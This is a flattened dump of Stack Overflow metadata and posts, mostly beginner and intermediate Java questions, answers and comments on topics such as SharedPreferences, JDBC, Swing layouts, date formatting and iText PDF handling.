has comment: http://stackoverflow.com/comment/33837932
has comment: http://stackoverflow.com/comment/33838235
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/33839239
type: Answer
upvote count: 0

http://stackoverflow.com/a/22279723
answers question: http://stackoverflow.com/q/22279722
accepted answer of: http://stackoverflow.com/q/22279722
has body: The solution to my problem turned out to be to use wget to create a local mirror of GAE/J's documentation. pushd ~/Docs wget --mirror -nH -np --page-requisites --convert-links --cut-dirs=3 \ -P GAEJ \ https://developers.google.com/appengine/docs/java/ Since the Q&amp;A format of StackOverflow favours to-the-point answers, I wrote up a blog post with some more details (and for a more general use case): Downloading or Caching (Technical) Documentation.
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 3
upvote count: 3

http://stackoverflow.com/q/22272211
has answer: http://stackoverflow.com/a/22272263
has comment: http://stackoverflow.com/comment/33832028
has comment: http://stackoverflow.com/comment/33831872
tagged with: android
has comment: http://stackoverflow.com/comment/33832070
linked to: http://stackoverflow.com/q/7057845
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22272464
tagged with: sharedpreferences
has title: sharedpreferences putting an array
has body: how can I use this code in order to add an array and retrieve it later? can I use a simple for loop? SharedPreferences settings = getSharedPreferences("isChk", 0); SharedPreferences.Editor editor = settings.edit(); editor.putBoolean("keys",ArrayValue[i] ); editor.commit(); and how can I then retrieve them and store each element in an array variable can I use this? for( int i=0; i&lt;myArr.size(); i++){ keys[i] = settings.getBoolean("isChk", false); isChkb.add(keys[i]); }
type: Question
has comment: http://stackoverflow.com/comment/33832079
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/22272279
accepted answer: http://stackoverflow.com/a/22272464
possible better answer: http://stackoverflow.com/a/22272263

http://stackoverflow.com/comment/33835341
type: AnswerComment
type: Comment
has text: This method is invalid: public abstractType typeFor (String s) { //some code } If a method has the same name as a class then it is a constructor and it could not have a return type
comment on: http://stackoverflow.com/a/22273965
score: 0

http://stackoverflow.com/comment/33864477
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22289782
has text: The program is still giving me the same results as before and continuing with the program without checking if the title exists.
score: 0

http://stackoverflow.com/q/22323137
has answer: http://stackoverflow.com/a/22323287
has title: I want to know, where JVM try to get resources(File Handler..) from OS and complete file write operation
score: 0
has body: In java every where we use classes that implement InputStream/OutputStream. I want to know, where JVM try to get resources(File Handler....) from OS and complete those operations? Is JVM take help of rt.jar to communicate OS? In C/C++ we have libraries that will help to make system call. So What about Java.
answer count: 1
favorite count: 0
type: UnansweredQuestion
upvote count: 1
downvote count: 1
type: Question
tagged with: java

http://stackoverflow.com/comment/33895264
has text: if you look at the code of the server you can see there that I'm sending outputToClient.writeBoolean(true); and outputToClient.writeInt(send);
type: Comment
comment on: http://stackoverflow.com/a/22307277
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33839105
comment on: http://stackoverflow.com/q/22276016
type: Comment
type: QuestionComment
has text: `catch without try` Say that out loud a few times.
score: 9

http://stackoverflow.com/comment/33862619
has text: Goal of the problem is that if there are 4 consecutive 0's in the array then it should return 1 without using the above expression
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22288872

http://stackoverflow.com/q/22266451
tagged with: methods
has answer: http://stackoverflow.com/a/22266473
has answer: http://stackoverflow.com/a/22266676
has answer: http://stackoverflow.com/a/22266786
tagged with: java
tagged with: database
has body: I'm trying to get the values from a database and insert them into an array and return, but it gives me an error: "cannot find symbol for variable str in return statement". public class getDates { public static Date[] Dates(){ Connection con = null; String url = "jdbc:mysql://localhost:3306/"; String db = "GreetingCard"; String driver = "com.mysql.jdbc.Driver"; String user = "root"; String pass = ""; try{ Class.forName(driver); con = DriverManager.getConnection(url+db, user, pass); Statement st = con.createStatement(); ResultSet rs=st.executeQuery("select date from profile"); ResultSetMetaData metadata = rs.getMetaData(); int columnCount = metadata.getColumnCount(); Date[] str = new Date[columnCount]; int a=0; //getting the dates from database to an array while(rs.next()){ str[a++]=rs.getDate("date"); } } catch(Exception e){ System.out.println(e); } //returning the array str return str; } }
type: Question
has title: Returning an array of data from database in a java method
score: 0
has answer: http://stackoverflow.com/a/22273243
tagged with: arrays
has comment: http://stackoverflow.com/comment/33822400
answer count: 5
has comment: http://stackoverflow.com/comment/33822021
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22266560

http://stackoverflow.com/q/22318463
tagged with: zxing
has answer: http://stackoverflow.com/a/22382721
score: -2
has body: The following code saves an Image with the size 12x12 whereas I am defining the BitMatrix with width 500 and height 500. What is wrong with my code? DataMatrixWriter dmw = new DataMatrixWriter(); BitMatrix bm = dmw.encode(code, BarcodeFormat.DATA_MATRIX, 500, 500); try { FileOutputStream fos = new FileOutputStream(new File("C:/test2.jpg")); MatrixToImageWriter.writeToStream(bm, "jpg", fos); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (fos != null) { try { fos.close(); } catch (IOException e) { e.printStackTrace(); } } }
tagged with: java
type: Question
upvote count: 0
answer count: 1
has title: Data Matrix Code always 12x12
favorite count: 0
has comment: http://stackoverflow.com/comment/34028567
type: UnansweredQuestion
downvote count: 2

http://stackoverflow.com/a/22211926
downvote count: 0
score: 1
type: Answer
upvote count: 1
has body: Try this: public IntSequence subSequence(int index, int size) { // ... final ArrayList&lt;Integer&gt; valuelist = new ArrayList&lt;&gt;(); // ... return new IntSequence() { // Compiler will tell you what to put here }; } The compiler will give you some errors, telling you what methods you need to implement in order to return an IntSequence. If this is too much you might want to create a new object of the class that implements the interface and see if you can pass just the right contents to a constructor.
answers question: http://stackoverflow.com/q/22211803

http://stackoverflow.com/comment/33827379
type: QuestionComment
type: Comment
has text: I dont know how to create the number in the format of EI and then followed by 3 digits. I want to know how to code it in the class flight
comment on: http://stackoverflow.com/q/22269299
score: 0

http://stackoverflow.com/q/22312964
favorite count: 0
tagged with: http://stackoverflow.com/tag/pdf
tagged with: itextpdf
has comment: http://stackoverflow.com/comment/33935995
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22348085
has title: underline justified pdf text with itextpdf
score: 1
tagged with: java
has body: I am trying to underline justified test in a pdf with itextpdf and I think I have uncovered a bug, and I'd really like a work around. When I call getBaseline() as described on the mailing lists the underline extends far passed the end of the text into the next column. float lx = renderInfos.get(i).getBaseline().getStartPoint().get(0); float rx = renderInfos.get(i).getBaseline().getEndPoint().get(0); You can download the original pdf from the publisher's website thanks! I have seen this on all versions of itextpdf I have tried, from 4.1.0 to the most recent 5.5.0. It would take some effort to separate the underlining code from other proprietary code that I cannot share. If you think it would help, I can do that. If this is a bug, is there an issue tracker I can log it with? PS (mkl): Here a short code fragment to reproduce the issue: PdfReader reader = new PdfReader(...); PdfStamper stamper = new PdfStamper(reader, new FileOutputStream(...)); for (int page = 1; page &lt;= reader.getNumberOfPages(); page++) { final List&lt;TextRenderInfo&gt; infos = new ArrayList&lt;TextRenderInfo&gt;(); PdfTextExtractor.getTextFromPage(reader, page, new TextExtractionStrategy() { public void renderText(TextRenderInfo renderInfo) { infos.add(renderInfo); } public void renderImage(ImageRenderInfo renderInfo) { } public void endTextBlock() { } public void beginTextBlock() { } public String getResultantText() { return "";} }); PdfContentByte content = stamper.getOverContent(page); for (TextRenderInfo info : infos) { float lx = info.getBaseline().getStartPoint().get(0); float rx = info.getBaseline().getEndPoint().get(0); float y = info.getBaseline().getEndPoint().get(1); content.moveTo(lx, y); content.lineTo(rx, y); content.stroke(); } } stamper.close();
has comment: http://stackoverflow.com/comment/33913765
type: Question
upvote count: 1
has comment: http://stackoverflow.com/comment/33916557
answer count: 1
has comment: http://stackoverflow.com/comment/33932294

http://stackoverflow.com/q/22326468
answer count: 3
has comment: http://stackoverflow.com/comment/33932391
tagged with: epoch
has answer: http://stackoverflow.com/a/79300140
favorite count: 0
has answer: http://stackoverflow.com/a/22326558
upvote count: 3
accepted answer: http://stackoverflow.com/a/22326558
type: Question
type: AnsweredQuestion
score: 3
tagged with: simpledateformat
tagged with: java
tagged with: date
has title: Java: epoch date to MM/DD/YYYY
downvote count: 0
possible better answer: http://stackoverflow.com/a/22326543
has body: My time: 1386696238 My code: Date date = new Date(Long.parseLong(currentNotification.getDate_created())); SimpleDateFormat formatter = new SimpleDateFormat("MM/DD/yyyy", Locale.getDefault()); String dateString = formatter.format(date); My result: 1/16/1970 Desired result: 12/10/2013 What am I doing wrong?
has answer: http://stackoverflow.com/a/22326543
has comment: http://stackoverflow.com/comment/33928860

http://stackoverflow.com/comment/33775843
type: AnswerComment
score: 0
type: Comment
has text: @ns47731 not necessary, can use `Collections.sort`. Edited.
comment on: http://stackoverflow.com/a/22240881

http://stackoverflow.com/comment/33809063
type: Comment
type: QuestionComment
has text: @JonSkeet I would be suprised that it gives you 1 for the same date... but I'm sure that's a copy/paste error :)
comment on: http://stackoverflow.com/q/22259230
score: 0

http://stackoverflow.com/comment/33723655
has text: Actually, I do like the enhanced for loop because it is less error prone (less code overall) and easier to read.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22212037
score: 1

http://stackoverflow.com/q/22241764
tagged with: if-statement
has body: This is in Java and I'm using TextWrangler. I'm getting several errors including 'else' without 'if' errors and can't figure out why. I also had to take out" public class Tax { public static void main(String[]args) {" because it was telling me they weren't coded properly. Some examples of the errors I've been getting include: Tax.java:85: error: 'else' without 'if' else(taxable &lt;= 186475) Tax.java:85: error: ';' expected else(taxable &lt;= 186475) ^ Tax.java:85: error: not a statement else(taxable &lt;= 186475) ^ import java.util.Scanner; java.util.Scanner input = new java.util.Scanner(System.in); double tax; System.out.print("Please enter filing status: "); int status = input.nextInt(); System.out.println("Please enter taxable income: "); double taxable = input.nextDouble(); if(status == 0){ if(taxable &lt;= 8350) tax = taxable * .10; System.out.println("Tax is " + tax); else if(33950 &gt;= taxable &amp;&amp; taxable &gt;= 8351) taxable = taxable - 8350; tax = taxable * .15 + 8350 * .10; System.out.println("Tax is " + tax); else if(82250 &gt;= taxable &amp;&amp; taxable &gt;= 33951) taxable = taxable - 33950 - 8350; tax = taxable * .25 + 33950 * .15 + 8350 * .10; System.out.println("Tax is " + tax); else if(171550 &gt;= taxable &amp;&amp; taxable &gt;= 82251) taxable = taxable - 82250 - 33950 - 8350; tax = taxable * .28 + 82250 * .25 + 33950 * .15 + 8350 * .10; System.out.println("Tax is " + tax); else if(372950 &gt;= taxable &amp;&amp; taxable &gt;= 171551) taxable = taxable - 171550 - 82250 - 33950 - 8350; tax = taxable * .33 + 171550 * .28 + 82250 * .25 + 33950 * .15 + 8350 * .10; System.out.println("Tax is " + tax); else(taxable &lt;= 372951) taxable = taxable - 372950 - 171550 - 82250 - 33950 - 8350; tax = taxable * .35 + 372950 * .33 + 171550 * .28 + 82250 * .25 + 33950 * .15 + 8350 * .10; System.out.println("Tax is " + tax); }
answer count: 6
score: 0
has answer: http://stackoverflow.com/a/22241800
possible better answer: http://stackoverflow.com/a/22241787
accepted answer: http://stackoverflow.com/a/22241789
has answer: http://stackoverflow.com/a/22241787
has comment: http://stackoverflow.com/comment/33802974
has comment: http://stackoverflow.com/comment/33777253
tagged with: compiler-errors
has answer: http://stackoverflow.com/a/22241788
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33777099
has answer: http://stackoverflow.com/a/22241796
tagged with: java
has answer: http://stackoverflow.com/a/22241789
has title: Getting 'else' without 'if' errors, don't know why
has answer: http://stackoverflow.com/a/22241799
type: Question

http://stackoverflow.com/comment/33853528
comment on: http://stackoverflow.com/q/22281820
score: 0
has text: Where do you create the `statement` object? Most likely that is `null`.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33711515
has text: Because there can be any number or pattern of single quotes and target substrings, this is not a regular language and can't be handled with regular expressions. You can handle limited cases, badly, and miss weird corner cases, or you can just break down and write a very simple parser that will be easy to understand and get it right 100% of the time. I hope you make the right decision.
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/22204098

http://stackoverflow.com/q/22291000
answer count: 1
has comment: http://stackoverflow.com/comment/33868538
has comment: http://stackoverflow.com/comment/33868609
has body: Alright, so this is for an assignment, and I have it so close to figured out. Basically, we were given the code to create a turtle and the test client draws a polygon with n sides. The instructions are to modify the test client so that it draws a star with n points. To do this with odd-numbered values of n was easy because I simply made the change from turtle.turnLeft(angle) to turtle.turnLeft(angle*2). I think most of my trouble is coming from complete ignorance of star geometry. I tried to draw it out and kind of make triangles between the points, and I've tested a few different things, but I keep getting lines that resemble this: VVVV and turn slightly left. original code: public class Turtle { private double x, y; private double angle; public Turtle(double x0, double y0, double a0) { x=x0; y=y0; angle=a0;} public void turnLeft(double delta) {angle += delta;} public void goForward(double step) { double oldx=x, oldy=y; x+=step*Math.cos(Math.toRadians(angle)); y+=step*Math.sin(Math.toRadians(angle)); StdDraw.line(oldx, oldy, x, y); } public static void main(String[] args) { int N=Integer.parseInt(args[0]); double angle = 360.0/N; double step = Math.sin(Math.toRadians(angle/2)); Turtle turtle= new Turtle(0.5, 0.0, angle/2); for (int i=0;i&lt;N;i++) { turtle.goForward(step); turtle.turnLeft(angle); }}} EDITED AGAIN: revised code (again): public static void main(String[] args) { int N=Integer.parseInt(args[0]); double angle = 360.0/N; double q = ((N-2)*180)/N; double p = ((180-q)/2); double t = (180-q); double v = (180 - 2*t); double step = Math.sin(Math.toRadians(angle/2)); Turtle turtle= new Turtle(0.5, 0.0, (angle/2 + p)); for (int i=0;i&lt;N;i++) { turtle.goForward(step/2); turtle.turnLeft(-t); turtle.goForward(step/2); turtle.turnLeft(180-v); }}} This one gives a perfect star for all values of N except 7 for some reason.
has comment: http://stackoverflow.com/comment/33866824
has comment: http://stackoverflow.com/comment/33868319
has comment: http://stackoverflow.com/comment/33866796
has comment: http://stackoverflow.com/comment/33871330
has comment: http://stackoverflow.com/comment/33867489
upvote count: 1
has comment: http://stackoverflow.com/comment/33868717
has comment: http://stackoverflow.com/comment/33866781
favorite count: 0
tagged with: geometry
tagged with: turtle-graphics
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33866612
has comment: http://stackoverflow.com/comment/33868460
has comment: http://stackoverflow.com/comment/33866633
has comment: http://stackoverflow.com/comment/33867153
has comment: http://stackoverflow.com/comment/33866474
has comment: http://stackoverflow.com/comment/33868475
has comment: http://stackoverflow.com/comment/33868647
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33868546
tagged with: draw
type: Question
tagged with: graphics
has title: Trouble drawing star with an even number of points with turtle in Java
has answer: http://stackoverflow.com/a/22304629
has comment: http://stackoverflow.com/comment/33866712
has comment: http://stackoverflow.com/comment/33868467

http://stackoverflow.com/a/73235009
type: Answer
has body: As an option consider solving this without macros. A macro would still implicitly use reflection, and here it is enough to apply clojure.lang.Reflector/invokeInstanceMethod The basic implementation is obj-to-map followed by to simple modifications with var-args. ; just a reusable object for calling no-arg methods (def empty_array (into-array Object [])) ; function update-vals available since v1.11.50 (defn obj-to-map [obj methods] (update-vals methods #(clojure.lang.Reflector/invokeInstanceMethod obj % empty_array))) (defn obj-to-map2 [obj & methods] (obj-to-map obj (apply hash-map methods))) (defn obj-to-map3 [obj & methods] (obj-to-map obj (into {} (for [k methods] [(keyword k) k])))) (defn obj-to-map4 [obj & methods] (obj-to-map obj (into {} (for [k methods] [(keyword k) (str k)])))) ; usage (obj-to-map "hello" {:len "length" :st "toString"}) ; => {:len 5, :st hello} (obj-to-map2 "hello" :len "length" :st "toString") ; => {:st hello, :len 5} (obj-to-map3 "hello" "length" "toString") ; => {:length 5, :toString hello} (obj-to-map4 "hello" 'length 'toString) ; => {:length 5, :toString hello} Docs: update-vals
score: 0
answers question: http://stackoverflow.com/q/22214175

devkit
type: Tag
tag name: devkit
tags question: http://stackoverflow.com/q/22315374

http://stackoverflow.com/a/22207777
accepted answer of: http://stackoverflow.com/q/22194821
has body: Here is the relevant code to your problem (next time you should add relevant code to your post instead of just put a link to some other site): public class TTTGraphics2P extends JFrame { ... private DrawCanvas canvas; // Drawing canvas (JPanel) for the game board private JLabel statusBar; // Status Bar public TTTGraphics2P() { ... statusBar = new JLabel(" "); statusBar.setFont(new Font(Font.DIALOG_INPUT, Font.BOLD, 15)); statusBar.setBorder(BorderFactory.createEmptyBorder(2, 5, 4, 5)); Container cp = getContentPane(); cp.setLayout(new BorderLayout()); cp.add(canvas, BorderLayout.CENTER); cp.add(statusBar, BorderLayout.PAGE_END); // same as SOUTH setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); pack(); // pack all the components in this JFrame setTitle("Tic Tac Toe"); setVisible(true); // show this JFrame } ... } I'm having trouble with adding text relative to the position of other elements. I have tried creating another container but it's not working. I would like to place a footer of text either below the "statusBar" or above it. Don't know what have you tried but you can follow a Nested Layout approach and wrap two (or many as needed) components into a panel and add this one at content pane's south position. Something like this: ... statusBar = new JLabel(" "); JLabel someOtherLabel = new JLabel("Some other label!"); JPanel southPanel = new JPanel(new GridBagLayout()); GridBagConstraints constraints = new GridBagConstraints(); constraints.weightx = 1; constraints.anchor = GridBagConstraints.WEST; constraints.fill = GridBagConstraints.HORIZONTAL; constraints.insets = new Insets(8,8,8,8); southPanel.add(statusBar, constraints); constraints.gridy = 1; southPanel.add(someOtherLabel, constraints); Container cp = getContentPane(); cp.setLayout(new BorderLayout()); // default layout manager is actually BorderLayout cp.add(canvas, BorderLayout.CENTER); cp.add(southPanel, BorderLayout.SOUTH); ... Note: the example makes use of GridBagLayout but might find a more suitable la…
answers question: http://stackoverflow.com/q/22194821
upvote count: 2
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/33739724
type: Comment
comment on: http://stackoverflow.com/q/22221381
has text: You can read the source of `org.eclipse.jdt.ui.actions.OpenAction` which implements Open Declaration.
score: 0
type: QuestionComment

http://stackoverflow.com/q/22198762
has answer: http://stackoverflow.com/a/22199065
has answer: http://stackoverflow.com/a/22198945
has body: I want to create an instance of a list and assigned to the value of same type of list from another class. The original variable to be copied is here class A { List&lt;String&gt; copy = new ArrayList&lt;&gt;(); //Some calculation and the value of copy is now holding some information } The class I want to create a new instance and assigned to the previous value class B extends A { List&lt;String&gt; paste = new ArrayList&lt;&gt;(copy); } It didn't throw any errors, but the list is still empty. Does anyone hava any idea what's going on here and how to compute such things?
downvote count: 0
has title: Assigning a list to a value of existing list from another class
score: 1
has answer: http://stackoverflow.com/a/22198920
favorite count: 0
accepted answer: http://stackoverflow.com/a/22198945
possible better answer: http://stackoverflow.com/a/22198864
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22198864
tagged with: java
has comment: http://stackoverflow.com/comment/33698978
upvote count: 1
type: Question

http://stackoverflow.com/a/22221812
has comment: http://stackoverflow.com/comment/33740183
has body: Did you try adding a small timeout (100ms), instead of println()?
type: Answer
has comment: http://stackoverflow.com/comment/33740324
has comment: http://stackoverflow.com/comment/33740228
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22221742
has comment: http://stackoverflow.com/comment/33740487
upvote count: 1

http://stackoverflow.com/a/25737826
answers question: http://stackoverflow.com/q/22237388
downvote count: 0
score: 7
has body: This is indeed a bug in the tomcat7 maven plugin version 2.2: https://issues.apache.org/jira/browse/MTOMCAT-263 Use version 2.1 or wait for 2.3 to be released.
upvote count: 7
type: Answer

http://stackoverflow.com/q/22233383
tagged with: glassfish
score: 0
linked to: http://stackoverflow.com/q/16242046
type: UnansweredQuestion
tagged with: glassfish-2.x
tagged with: glassfish-3
has answer: http://stackoverflow.com/a/22238121
has title: Upgrading from Glassfish 2 to Glassfish 3. Exceptions no longer roll back transactions
tagged with: java
has body: I'm trying to upgrade my ear from glassfish 2 to glassfish 3. We used to have our session beans and our entities all in one jar file. I've learned that I need to put these in separate jar files to be able to deploy to glassfish 3. The way I did this was by creating a new jar and moved the session beans, the ejb-jar.xml, persistence.xml and sun-ejb-jar.xml in them. The session bean lib has the old lib as a dependency. The old lib still contains the custom Exception classes we've used and entities and pretty much everything else that used to be there. But what I've notice from an integration test is that when exceptions get thrown, the transactions don't get rolled back like they used to. I'm still deploying to GF2 right now. Other than this subtle problem, everything appears to be working. How do I fix this issue? Do I need to move these Exception classes into the session bean jar? Here's an example of what one of these exceptions looks like: @ApplicationException(rollback=true) public class MessageOutOfOrderException extends ConditionException { //this is the one that gets thrown //... } @ApplicationException(rollback=true) public class ConditionException extends Exception { //this is the parent. It also gets thrown directly sometimes //... }
type: Question
tagged with: jakarta-ee
answer count: 1

http://stackoverflow.com/q/22256785
tagged with: spring
has comment: http://stackoverflow.com/comment/33804099
tagged with: url-rewriting
answer count: 0
has body: Currently, I have a /doc folder that redirects (when accessed through the browser) to a .jsp file. This was set inside the web.xml.. When I try to retrieve the requestedURL or Referer, it outputs the .jsp file location. How is it possible to retrieve the correct referer (that being the file located under the /doc)? UrlRewriteFilter /FOLDER/* <urlrewrite> ... /FOLDER/(.*) %{context-path}/authenticate.jsp Inside the .jsp file when I access /FOLDER/file.txt in the browser it will redirect to the authenticate.jsp page and display (authenticate.jsp) when I call these: out.write(request.getHeader("Referer")); out.write(request.getRequestURL().toString()); out.write(request.getRequestURI().toString());
type: UnansweredQuestion
type: Question
tagged with: java
has title: Getting request.getRequestURL() or request.getHeader("Referer") from urlrewrite redirect
score: 0
has comment: http://stackoverflow.com/comment/33805292
tagged with: jsp
tagged with: tomcat

http://stackoverflow.com/a/22303807
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22299976
has comment: http://stackoverflow.com/comment/33914012
answers question: http://stackoverflow.com/q/22299976
downvote count: 0
score: 3
has body: You can create another line with same startX, startY, endX, endY properties and make it more thick by setStrokeWidth(10) and not visible by setOpacity(0) on it. After that you can handle mouse events from new thick invisible line as for actual one.
upvote count: 3

http://stackoverflow.com/q/22198420
answer count: 2
has title: How do i get the value from JTextField in java that was created dynamically through a JLabel click
has comment: http://stackoverflow.com/comment/33698014
has body: I am creating a JTextField everytime a label is clicked. My problem is to get the text inside those created textfields. This is my code: public void mouseClicked(MouseEvent arg0) { List&lt;JTextField&gt; mine = new ArrayList&lt;JTextField&gt;(); box = new JTextField(); name = new JTextField(); pnlPanel.add(box); pnlpanel.add(name); lay++; if (lay &gt; 0) { box.setBounds(283, 145, 182, 27); name.setBounds(81, 145, 182, 27); mine.add(box); } GetData mydata = new GetData(); mydata.doGetData(); frame.repaint(); } This is my code for getting the data inputted by the user, but it doesnt work: public class GetData { public void doGetData(List&lt;JTextField&gt; myFields) { for (JTextField txt: myFields) { } } } How does I get the user input?
accepted answer: http://stackoverflow.com/a/22198968
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33698212
tagged with: jtextfield
type: Question
has answer: http://stackoverflow.com/a/22198759
tagged with: java
has answer: http://stackoverflow.com/a/22198968
has comment: http://stackoverflow.com/comment/33698264
possible better answer: http://stackoverflow.com/a/22198759
score: 0

http://stackoverflow.com/q/22320657
upvote count: 1
tagged with: swing
has answer: http://stackoverflow.com/a/22320741
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33935107
score: 1
tagged with: java
has title: Changing JTable row to bold depending on value (using prepareRenderer)
type: Question
has body: So, at the moment I'm changing the colour of a whole row depending on a condition. And it's working. I'm overriding prepareRenderer() in a JTable object. public Component prepareRenderer(TableCellRenderer renderer, int row, int column) { Component cellInTable = super.prepareRenderer(renderer, row, column); Color textColor; ArrayList&lt;Integer&gt; numbers = new ArrayList&lt;Integer&gt;(); numbers = appManager.checkNumbers(); cellInTable.setForeground(Color.BLACK); for (Integer no : numbers) { if (racesModel.getValueAt(row, 1).toString().equals(no.toString()) { textColor = new Color(205, 205, 205); cellInTable.setForeground(textColor); return cellInTable; } } return cellInTable; } However, now I want to change the font's style to bold. I can't seem to find how to manipulate a Component object's font. Can anyone suggest anything for me to look at? Is it possible to use HTML somehow the same way a JLabel does? Thank you in advance
downvote count: 0
accepted answer: http://stackoverflow.com/a/22320741
tagged with: jtable
answer count: 1
has comment: http://stackoverflow.com/comment/33918899
favorite count: 0
tagged with: fonts

http://stackoverflow.com/comment/33777402
type: QuestionComment
has text: why you use `@ResponseBody` if that response is not AJAX based at all.
comment on: http://stackoverflow.com/q/22239526
score: 0
type: Comment

http://stackoverflow.com/q/22219814
type: Question
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/22220009
tagged with: client
has body: I am new in computer networking and I have a exercise about create java http client example. The exercise instruction: Socket soc = new Socket(host, port); DataInputStream in = new DataInputStream(soc.getInputStream()); BufferedWriter out= new BufferedWriter(new OutputStreamWriter(soc.getOutputStream())); out.write(httpRequest); out.flush(); String httpResponse= in.readUTF(); and this is my code: import java.io.BufferedWriter; import java.io.DataInputStream; import java.io.IOException; import java.io.OutputStreamWriter; import java.net.Socket; import java.net.UnknownHostException; public class MyTest{ public static void main(String[] args) throws UnknownHostException, IOException{ String host = "gg.gg"; String httpRequest = "GET / HTTP/1.1 Host:gg.gg "; int port = 80; Socket soc = new Socket(host, port); DataInputStream in = new DataInputStream(soc.getInputStream()); BufferedWriter out= new BufferedWriter(new OutputStreamWriter(soc.getOutputStream())); out.write(httpRequest); out.flush(); String httpResponse = in.readUTF(); System.out.println(httpResponse); //soc.close(); } } but when I run the program, it run very long time, and I found that is the readUTF() method. It run about 20s then display this message: Does my request "GET / HTTP/1.1 Host:gg.gg " not correct, or any another error here? I want to use the instruction form, not another solution. Thanks! (I'm not good at English very much)
tagged with: request
tagged with: http
type: AnsweredQuestion
tagged with: java
has title: Java http request client example
accepted answer: http://stackoverflow.com/a/22220009

http://stackoverflow.com/q/22185421
tagged with: java
tagged with: seekbar
has body: i'm developing an BMI calculator and i added an optional SeekBar to change the values from the edittext. When i move the seekbar the values from the edittext are different, but the seekbar doesn't update when i change the from the edittext. Could osmeone explcain how can i do that? I'm having problems with getText and SetProgress public class MainActivity extends Activity { private RadioGroup rgsexo; EditText editPeso; EditText editAltura; TextView imcView; SeekBar alterarAltura; SeekBar alterarPeso; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); editPeso = (EditText)findViewById(R.id.editPeso); editAltura = (EditText)findViewById(R.id.editAltura); imcView = (TextView)findViewById(R.id.imcView); alterarAltura = (SeekBar)findViewById(R.id.alterarAltura); alterarPeso = (SeekBar)findViewById(R.id.alterarPeso); alterarAltura.setOnSeekBarChangeListener(alteraralturaListener); alterarPeso.setOnSeekBarChangeListener(alterarpesoListener); //This is where i'm having troubles editAltura.addTextChangedListener(new TextWatcher(){ public void afterTextChanged(Editable s) { double setAltura = (editAltura.getText.toString()) * .01d; alterarAltura.setProgress(String.format("%.02f", setAltura).replace(',', '.')); } public void beforeTextChanged(CharSequence s, int start, int count, int after){} public void onTextChanged(CharSequence s, int start, int before, int count){} }); } private OnSeekBarChangeListener alteraralturaListener = new OnSeekBarChangeListener() { @Override public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) { // TODO Auto-generated method stub double setAltura = (alterarAltura.getProgress()) * .01d; // mostra na caixa o valor novo editAltura.setText(String.format("%.02f", setAltura).replace(',', '.')); } @Override public void onStopTrackingTouch(SeekBar seekBar) { } @Override public void onStartTrackingTouch(SeekBar seekBar) { } };
score: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22189312
tagged with: android
tagged with: android-edittext
type: UnansweredQuestion
upvote count: 1
downvote count: 1
has title: Update SeekBar with EditText
type: Question

http://stackoverflow.com/a/28792276
answers question: http://stackoverflow.com/q/22234021
type: Answer
has body: From Fastest way to find a string in a text file with java: The best realization I've found in MIMEParser: https://github.com/samskivert/ikvm-openjdk/blob/master/build/linux-amd64/impsrc/com/sun/xml/internal/org/jvnet/mimepull/MIMEParser.java /** * Finds the boundary in the given buffer using Boyer-Moore algo. * Copied from java.util.regex.Pattern.java * * @param mybuf boundary to be searched in this mybuf * @param off start index in mybuf * @param len number of bytes in mybuf * * @return -1 if there is no match or index where the match starts */ private int match(byte[] mybuf, int off, int len) { Needed also: private void compileBoundaryPattern();
score: 0

http://stackoverflow.com/comment/33729060
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22211887
has text: ah! good point! THe PhoneNumber class has equals() but not hashCode()
type: Comment

http://stackoverflow.com/a/22225061
score: -1
downvote count: 1
has body: One problem is, that a preceding 0 will make the number, octal, in base 8; and then digits 8 and 9 cause a NumberFormatException. Base 8 allows to represent 3 bits 0-1 with one digit 0-7. long phone = Long.parseLong(phone1, 10); This forces base 10. Of course, as one does not calculate with phone numbers, and by this conversion looses preceding zeroes, this might be less suited. In many countries international numbers are entered with either preceding + or 00.
answers question: http://stackoverflow.com/q/22224815
type: Answer
has comment: http://stackoverflow.com/comment/33758641
upvote count: 0
has comment: http://stackoverflow.com/comment/33745658

http://stackoverflow.com/q/22226317
upvote count: 0
linked to: http://stackoverflow.com/q/5171957
score: -3
